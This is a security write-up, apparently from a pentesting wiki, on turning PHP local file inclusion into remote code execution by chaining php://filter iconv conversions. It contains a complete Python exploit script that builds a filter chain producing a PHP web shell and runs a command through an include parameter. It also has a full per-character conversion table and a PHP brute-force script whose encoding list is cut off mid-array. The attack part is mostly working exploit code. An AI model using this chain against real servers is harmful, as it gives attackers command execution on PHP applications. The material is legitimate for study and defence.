LFI2RCE via PHP Filters

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Intro

This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.

Basically the goal of the script is to generate a Base64 string at the beginning of the file that will be finally decoded providing the desired payload that will be interpreted by include.

The bases to do this are:

convert.iconv.UTF8.CSISO2022KR will always prepend \x1b$)C to the string
convert.base64-decode is extremely tolerant, it will basically just ignore any characters that aren't valid base64. It gives some problems if it finds unexpected "=" but those can be removed with the convert.iconv.UTF8.UTF7 filter.

The loop to generate arbitrary content is:

prepend \x1b$)C to our string as described above
apply some chain of iconv conversions that leaves our initial base64 intact and converts the part we just prepended to some string where the only valid base64 char is the next part of our base64-encoded php code
base64-decode and base64-encode the string which will remove any garbage in between
Go back to 1 if the base64 we want to construct isn't finished yet
base64-decode to get our php code

warning

Includes usually do things like appending ".php" at the end of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you could just use php://temp as resource because it can have anything appended in the name (lie +".php") and it will still allow the exploit to work!

How to add also suffixes to the resulting data

This writeup explains how you can still abuse PHP filters to add suffixes to the resulting string. This is great in case you need the output to have some specific format (like json or maybe adding some PNG magic bytes)

Automatic Tools

https://github.com/synacktiv/php_filter_chain_generator
https://github.com/ambionics/wrapwrap (can add suffixes)

Full script

python

import requests

url = "http://localhost/index.php"
file_to_use = "php://temp"
command = "/readflag"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})

print(r.text)

Improvements

The previous script is limited to the base64 characters needed for that payload. Therefore, I created my own script to bruteforce all the base64 characters:

php

conversions = {
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    '1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943',
    '2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8',
    '3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
    '5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591',
    '6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156',
    'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',
    'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142',
    'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297',
    'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140',
    'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C',
    'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399',
    'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA',
    'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399',
    'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399',
    'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390',
    'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933',
    'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE',
    'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881',
    'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE',
    'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284',
    'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR',
    'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE',
    'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388',
    'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937',
    'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388',
    'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144',
    'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143',
    'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285',
    'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE',
    'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920',
    'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930',
    'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804',
    'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT',
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4',
    'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE',
    '+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4',
    '=': ''
}

Here is the script to get encodings that generate each b64 letter:

php

<?php

$convs = array('437', '500', '500V1', '850', '851', '852', '855', '856', '857', '858', '860', '861', '862', '863', '864', '865', '866', '866NAV', '869', '874', '904', '1026', '1046', '1047', '8859_1', '8859_2', '8859_3', '8859_4', '8859_5', '8859_6', '8859_7', '8859_8', '8859_9', '10646-1:1993', '10646-1:1993/UCS4', 'ANSI_X3.4-1968', 'ANSI_X3.4-1986', 'ANSI_X3.4', 'ANSI_X3.110-1983', 'ANSI_X3.110', 'ARABIC', 'ARABIC7', 'ARMSCII-8', 'ARMSCII8', 'ASCII', 'ASMO-708', 'ASMO_449', 'BALTIC', 'BIG-5', 'BIG-FIVE', 'BIG5-HKSCS', 'BIG5', 'BIG5HKSCS', 'BIGFIVE', 'BRF', 'BS_4730', 'CA', 'CN-BIG5', 'CN-GB', 'CN', 'CP-AR', 'CP-GR', 'CP-HU', 'CP037', 'CP038', 'CP273', 'CP274', 'CP275', 'CP278', 'CP280', 'CP281', 'CP282', 'CP284', 'CP285', 'CP290', 'CP297', 'CP367', 'CP420', 'CP423', 'CP424', 'CP437', 'CP500', 'CP737', 'CP770', 'CP771', 'CP772', 'CP773', 'CP774', 'CP775', 'CP803', 'CP813', 'CP819', 'CP850', 'CP851', 'CP852', 'CP855', 'CP856', 'CP857', 'CP858', 'CP860', 'CP861', 'CP862', 'CP863', 'CP864', 'CP865', 'CP866', 'CP866NAV', 'CP868', 'CP869', 'CP870', 'CP871', 'CP874', 'CP875', 'CP880', 'CP891', 'CP901', 'CP902', 'CP903', 'CP904', 'CP905', 'CP912', 'CP915', 'CP916', 'CP918', 'CP920', 'CP921', 'CP922', 'CP930', 'CP932', 'CP933', 'CP935', 'CP936', 'CP937', 'CP939', 'CP949', 'CP950', 'CP1004', 'CP1008', 'CP1025', 'CP1026', 'CP1046', 'CP1047', 'CP1070', 'CP1079', 'CP1081', 'CP1084', 'CP1089', 'CP1097', 'CP1112', 'CP1122', 'CP1123', 'CP1124', 'CP1125', 'CP1129', 'CP1130', 'CP1132', 'CP1133', 'CP1137', 'CP1140', 'CP1141', 'CP1142', 'CP1143', 'CP1144', 'CP1145', 'CP1146', 'CP1147', 'CP1148', 'CP1149', 'CP1153', 'CP1154', 'CP1155', 'CP1156', 'CP1157', 'CP1158', 'CP1160', 'CP1161', 'CP1162', 'CP1163', 'CP1164', 'CP1166', 'CP1167', 'CP1250', 'CP1251', 'CP1252', 'CP1253', 'CP1254', 'CP1255', 'CP1256', 'CP1257', 'CP1258', 'CP1282', 'CP1361', 'CP1364', 'CP1371', 'CP1388', 'CP1390', 'CP1399', 'CP4517', 'CP4899', 'CP4909', 'CP4971', 'CP5347', 'CP9030', 'CP9066', 'CP9448', 'CP10007', 'CP12712', 'CP16804', 'CPIBM861', 'CSA7-1', 'CSA7-2', 'CSASCII', 'CSA_T500-1983', 'CSA_T500', 'CSA_Z243.4-1985-1', 'CSA_Z243.4-1985-2', 'CSA_Z243.419851', 'CSA_Z243.419852', 'CSDECMCS', 'CSEBCDICATDE', 'CSEBCDICATDEA', 'CSEBCDICCAFR', 'CSEBCDICDKNO', 'CSEBCDICDKNOA', 'CSEBCDICES', 'CSEBCDICESA', 'CSEBCDICESS', 'CSEBCDICFISE', 'CSEBCDICFISEA', 'CSEBCDICFR', 'CSEBCDICIT', 'CSEBCDICPT', 'CSEBCDICUK', 'CSEBCDICUS', 'CSEUCKR', 'CSEUCPKDFMTJAPANESE', 'CSGB2312', 'CSHPROMAN8', 'CSIBM037', 'CSIBM038', 'CSIBM273', 'CSIBM274', 'CSIBM275', 'CSIBM277', 'CSIBM278', 'CSIBM280', 'CSIBM281', 'CSIBM284', 'CSIBM285', 'CSIBM290', 'CSIBM297', 'CSIBM420', 'CSIBM423', 'CSIBM424', 'CSIBM500', 'CSIBM803', 'CSIBM851', 'CSIBM855', 'CSIBM856', 'CSIBM857', 'CSIBM860', 'CSIBM863', 'CSIBM864', 'CSIBM865', 'CSIBM866', 'CSIBM868', 'CSIBM869', 'CSIBM870', 'CSIBM871', 'CSIBM880', 'CSIBM891', 'CSIBM901', 'CSIBM902', 'CSIBM903', 'CSIBM904', 'CSIBM905', 'CSIBM918', 'CSIBM921', 'CSIBM922', 'CSIBM930', 'CSIBM932', 'CSIBM933', 'CSIBM935', 'CSIBM937', 'CSIBM939', 'CSIBM943', 'CSIBM1008', 'CSIBM1025', 'CSIBM1026', 'CSIBM1097', 'CSIBM1112', 'CSIBM1122', 'CSIBM1123', 'CSIBM1124', 'CSIBM1129', 'CSIBM1130', 'CSIBM1132', 'CSIBM1133', 'CSIBM1137', 'CSIBM1140', 'CSIBM1141', 'CSIBM1142', 'CSIBM1143', 'CSIBM1144', 'CSIBM1145', 'CSIBM1146', 'CSIBM1147', 'CSIBM1148', 'CSIBM1149', 'CSIBM1153', 'CSIBM1154', 'CSIBM1155', 'CSIBM1156', 'CSIBM1157', 'CSIBM1158', 'CSIBM1160', 'CSIBM1161', 'CSIBM1163', 'CSIBM1164', 'CSIBM1166', 'CSIBM1167', 'CSIBM1364', 'CSIBM1371', 'CSIBM1388', 'CSIBM1390', 'CSIBM1399', 'CSIBM4517', 'CSIBM4899', 'CSIBM4909', 'CSIBM4971', 'CSIBM5347', 'CSIBM9030', 'CSIBM9066', 'CSIBM9448', 'CSIBM12712', 'CSIBM16804', 'CSIBM11621162', 'CSISO4UNITEDKINGDOM', 'CSISO10SWEDISH', 'CSISO11SWEDISHFORNAMES', 'CSISO14JISC6220RO', 'CSISO15ITALIAN', 'CSISO16PORTUGESE', 'CSISO17SPANISH', 'CSISO18GREEK7OLD', 'CSISO19LATINGREEK', 'CSISO21GERMAN', 'CSISO25FRENCH', 'CSISO27LATINGREEK1', 'CSISO49INIS', 'CSISO50INIS8', 'CSISO51INISCYRILLIC', 'CSISO58GB1988', 'CSISO60DANISHNORWEGIAN', 'CSISO60NORWEGIAN1', 'CSISO61NORWEGIAN2', 'CSISO69FRENCH', 'CSISO84PORTUGUESE2', 'CSISO85SPANISH2', 'CSISO86HUNGARIAN', 'CSISO88GREEK7', 'CSISO89ASMO449', 'CSISO90', 'CSISO92JISC62991984B', 'CSISO99NAPLPS', 'CSISO103T618BIT', 'CSISO111ECMACYRILLIC', 'CSISO121CANADIAN1', 'CSISO122CANADIAN2', 'CSISO139CSN369103', 'CSISO141JUSIB1002', 'CSISO143IECP271', 'CSISO150', 'CSISO150GREEKCCITT', 'CSISO151CUBA', 'CSISO153GOST1976874', 'CSISO646DANISH', 'CSISO2022CN', 'CSISO2022JP', 'CSISO2022JP2', 'CSISO2022KR', 'CSISO2033', 'CSISO5427CYRILLIC', 'CSISO5427CYRILLIC1981', 'CSISO5428GREEK', 'CSISO10367BOX', 'CSISOLATIN1', 'CSISOLATIN2', 'CSISOLATIN3', 'CSISOLATIN4', 'CSISOLATIN5', 'CSISOLATIN6', 'CSISOLATINARABIC', 'CSISOLATINCYRILLIC', 'CSISOLATINGREEK', 'CSISOLATINHEBREW', 'CSKOI8R', 'CSKSC5636', 'CSMACINTOSH', 'CSNATSDANO', 'CSNATSSEFI', 'CSN_369103', 'CSPC8CODEPAGE437', 'CSPC775BALTIC', 'CSPC850MULTILINGUAL', 'CSPC858MULTILINGUAL', 'CSPC862LATINHEBREW', 'CSPCP852', 'CSSHIFTJIS', 'CSUCS4', 'CSUNICODE', 'CSWINDOWS31J', 'CUBA', 'CWI-2', 'CWI', 'CYRILLIC', 'DE', 'DEC-MCS', 'DEC', 'DECMCS', 'DIN_66003', 'DK', 'DS2089', 'DS_2089', 'E13B', 'EBCDIC-AT-DE-A', 'EBCDIC-AT-DE', 'EBCDIC-BE', 'EBCDIC-BR', 'EBCDIC-CA-FR', 'EBCDIC-CP-AR1', 'EBCDIC-CP-AR2', 'EBCDIC-CP-BE', 'EBCDIC-CP-CA', 'EBCDIC-CP-CH', 'EBCDIC-CP-DK', 'EBCDIC-CP-ES', 'EBCDIC-CP-FI', 'EBCDIC-CP-FR', 'EBCDIC-CP-GB', 'EBCDIC-CP-GR', 'EBCDIC-CP-HE', 'EBCDIC-CP-IS', 'EBCDIC-CP-IT', 'EBCDIC-CP-NL', 'EBCDIC-CP-NO', 'EBCDIC-CP-ROECE', 'EBCDIC-CP-SE', 'EBCDIC-CP-TR', 'EBCDIC-CP-US', 'EBCDIC-CP-WT', 'EBCDIC-CP-YU', 'EBCDIC-CYRILLIC', 'EBCDIC-DK-NO-A', 'EBCDIC-DK-NO', 'EBCDIC-ES-A', 'EBCDIC-ES-S', 'EBCDIC-ES', 'EBCDIC-FI-SE-A', 'EBCDIC-FI-SE', 'EBCDIC-FR', 'EBCDIC-GREEK', 'EBCDIC-INT', 'EBCDIC-INT1', 'EBCDIC-IS-FRISS', 'EBCDIC-IT', 'EBCDIC-JP-E', 'EBCDIC-JP-KANA', 'EBCDIC-PT', 'EBCDIC-UK', 'EBCDIC-US', 'EBCDICATDE', 'EBCDICATDEA', 'EBCDICCAFR', 'EBCDICDKNO', 'EBCDICDKNOA', 'EBCDICES', 'EBCDICESA', 'EBCDICESS', 'EBCDICFISE', 'EBCDICFISEA', 'EBCDICFR', 'EBCDICISFRISS', 'EBCDICIT', 'EBCDICPT', 'EBCDICUK', 'EBCDICUS', 'ECMA-114', 'ECMA-118', 'ECMA-128', 'ECMA-CYRILLIC', 'ECMACYRILLIC', 'ELOT_928', 'ES', 'ES2', 'EUC-CN', 'EUC-JISX0213', 'EUC-JP-MS', 'EUC-JP', 'EUC-KR', 'EUC-TW', 'EUCCN', 'EUCJP-MS', 'EUCJP-OPEN', 'EUCJP-WIN', 'EUCJP', 'EUCKR', 'EUCTW', 'FI', 'FR', 'GB', 'GB2312', 'GB13000', 'GB18030', 'GBK', 'GB_1988-80', 'GB_198880', 'GEORGIAN-ACADEMY', 'GEORGIAN-PS', 'GOST_19768-74', 'GOST_19768', 'GOST_1976874', 'GREEK-CCITT', 'GREEK', 'GREEK7-OLD', 'GREEK7', 'GREEK7OLD', 'GREEK8', 'GREEKCCITT', 'HEBREW', 'HP-GREEK8', 'HP-ROMAN8', 'HP-ROMAN9', 'HP-THAI8', 'HP-TURKISH8', 'HPGREEK8', 'HPROMAN8', 'HPROMAN9', 'HPTHAI8', 'HPTURKISH8', 'HU', 'IBM-803', 'IBM-856', 'IBM-901', 'IBM-902', 'IBM-921', 'IBM-922', 'IBM-930', 'IBM-932', 'IBM-933', 'IBM-935', 'IBM-937', 'IBM-939', 'IBM-943', 'IBM-1008', 'IBM-1025', 'IBM-1046', 'IBM-1047', 'IBM-1097', 'IBM-1112', 'IBM-1122', 'IBM-1123', 'IBM-1124', 'IBM-1129', 'IBM-1130', 'IBM-1132', 'IBM-1133', 'IBM-1137', 'IBM-1140', 'IBM-1141', 'IBM-1142', 'IBM-1143', 'IBM-1144', 'IBM-1145', 'IBM-1146', 'IBM-1147', 'IBM-1148', 'IBM-1149', 'IBM-1153', 'IBM-1154', 'IBM-1155', 'IBM-1156', 'IBM-1157', 'IBM-1158', 'IBM-1160', 'IBM-1161', 'IBM-1162', 'IBM-1163', 'IBM-1164', 'IBM-1166', 'IBM-1167', 'IBM-1364', 'IBM-1371', 'IBM-1388', 'IBM-1390', 'IBM-1399', 'IBM-4517', 'IBM-4899', 'IBM-4909', 'IBM-4971', 'IBM-5347', 'IBM-9030', 'IBM-9066', 'IBM-9448', 'IBM-12712', 'IBM-16804', 'IBM037', 'IBM038', 'IBM256', 'IBM273', 'IBM274', 'IBM275', 'IBM277', 'IBM278', 'IBM280', 'IBM281', 'IBM284', 'IBM285', 'IBM290', 'IBM297', 'IBM367', 'IBM420', 'IBM423', 'IBM424', 'IBM437', 'IBM500', 'IBM775', 'IBM803', 'IBM813', 'IBM819', 'IBM848', 'IBM850', 'IBM851', 'IBM852', 'IBM855', 'IBM856', 'IBM857', 'IBM858', 'IBM860', 'IBM861', 'IBM862', 'IBM863', 'IBM864', 'IBM865', 'IBM866', 'IBM866NAV', 'IBM868', 'IBM869', 'IBM870', 'IBM871', 'IBM874', 'IBM875', 'IBM880', 'IBM891', 'IBM901', 'IBM902', 'IBM903', 'IBM904', 'IBM905', 'IBM912', 'IBM915', 'IBM916', 'IBM918', 'IBM920', 'IBM921', 'IBM922', 'IBM930', 'IBM932', 'IBM933', 'IBM935', 'IBM937', 'IBM939', 'IBM943', 'IBM1004', 'IBM1008', 'IBM1025', 'IBM1026', 'IBM1046', 'IBM1047', 'IBM1089', 'IBM1097', 'IBM1112', 'IBM1122', 'IBM1123', 'IBM1124', 'IBM1129', 'IBM1130', 'IBM1132', 'IBM1133', 'IBM1137', 'IBM1140', 'IBM1141', 'IBM1142', 'IBM1143', 'IBM1144', 'IBM1145', 'IBM1146', 'IBM1147', 'IBM1148', 'IBM1149', 'IBM1153', 'IBM1154', 'IBM1155', 'IBM1156', 'IBM1157', 'IBM1158', 'IBM1160', 'IBM1161', 'IBM1162', 'IBM1163', 'IBM1164', 'IBM1166', 'IBM1167', 'IBM1364', 'IBM1371', 'IBM1388', 'IBM1390', 'IBM1399', 'IBM4517', 'IBM4899', 'IBM4909', 'IBM4971', 'IBM5347', 'IBM9030', 'IBM9066', 'IBM9448', 'IBM12712', 'IBM16804', 'IEC_P27-1', 'IEC_P271', 'INIS-8', 'INIS-CYRILLIC', 'INIS', 'INIS8', 'INISCYRILLIC', 'ISIRI-3342', 'ISIRI3342', 'ISO-2022-CN-EXT', 'ISO-2022-CN', 'ISO-2022-JP-2', 'ISO-2022-JP-3', 'ISO-2022-JP', 'ISO-2022-KR', 'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4', 'ISO-8859-5', 'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8', 'ISO-8859-9', 'ISO-8859-9E', 'ISO-8859-10', 'ISO-8859-11', 'ISO-8859-13', 'ISO-8859-14', 'ISO-8859-15', 'ISO-8859-16', 'ISO-10646', 'ISO-10646/UCS2', 'ISO-10646/UCS4', 'ISO-10646/UTF-8', 'ISO-10646/UTF8', 'ISO-CELTIC', 'ISO-IR-4', 'ISO-IR-6', 'ISO-IR-8-1', 